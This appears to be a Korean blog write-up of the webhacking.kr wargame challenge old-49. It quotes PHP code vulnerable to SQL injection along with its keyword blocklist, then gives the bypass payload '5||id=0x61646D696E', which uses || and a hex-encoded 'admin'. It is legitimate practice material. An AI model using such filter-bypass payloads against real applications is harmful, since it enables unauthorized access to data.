Notice
Recent Posts
Recent Comments
Link
일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- Bandit
- 테크트렌드
- Wargame
- 웹해킹
- sql injection bypass
- system hacking
- XSS GAME
- overthewire
- burp suite
- 코딩
- web hacking
- lord of sqlinjection
- 웹해킹 기초
- WebHacking
- webhacking.kr
- 인공지능
- SQL Injection
- 개발자
- 사이버보안
- Over The Wire
- web-server
- root me
- 웹개발
- pythonprogramming
- write up
- hackthissite
- 프로그래밍
- geminipro
- CTF
- 정보보안
Archives
- Today
- Total
컴맹에서 컴공 그리고 화이트 해커가 되는 그날까지
webhacking.kr old-49 Write Up 본문
반응형
코드 분석
<?php
// $_GET['lv'] 값이 설정되어 있는지 확인합니다.
if($_GET['lv']){
// 데이터베이스 연결 함수 호출 (구체적인 내용은 정의된 dbconnect() 함수에 따라 다릅니다).
$db = dbconnect();
// $_GET['lv']에 SQL injection 방지 필터링 적용.
// select, or, and, (, ), limit, ,, /, order, cash 등의 키워드와 공백, 탭, 따옴표가 포함되어 있으면 프로그램 종료.
if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
// 필터링된 $_GET['lv'] 값을 사용하여 chall49 테이블에서 id 값을 가져옵니다.
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
// 쿼리 결과에서 가져온 id 값을 출력합니다.
echo $result[0];
// 가져온 id 값이 "admin"인지 확인하고, "admin"이라면 solve(49) 함수 호출.
if($result[0]=="admin") solve(49);
}
?>
취약점이 존재하는 곳
$result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
만들어야 하는 sql 구문
select id from chall49 where lv={}
필터링된 것들
- select
- or
- and
- (
- )
- limit
- ,
- /
- order
- cash
- 공백( )
- 탭(\t)
- 작은따옴표(')
- 큰따옴표(")
아 그럼 lv input 값에 1||id=0x61646D696E 넣으면 되겠지 하고 입력했는데
이렇게 입력하니까 나오지 않아서 왜 안되지 했었다. ㅋㅋㅋㅋㅋㅋ
OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!
lv 값이 5부터 id가 출력되지 않았다. 그래서
5
select id from chall49 where lv={5||id=0x61646D696E}
이렇게 입력하면
굿!
OR이니까 앞의 값이 거짓이 되어야 참인 뒤의 값이 나오는걸 까먹지 말자!!!!!
반응형
'해킹 > Web hacking' 카테고리의 다른 글
webhacking.kr old-42 Write Up (0) | 2025.03.05 |
---|---|
Pearfect Markdown (dreamhack) write up (0) | 2025.03.04 |
Cross-Site Scripting (XSS) 완벽 가이드: 기초부터 고급 방어 기법까지 (0) | 2025.02.23 |
OverTheWire: Natas 클리어!!! (0) | 2025.01.29 |
Root Me[web-server] : HTTP - Headers Write up (0) | 2024.09.19 |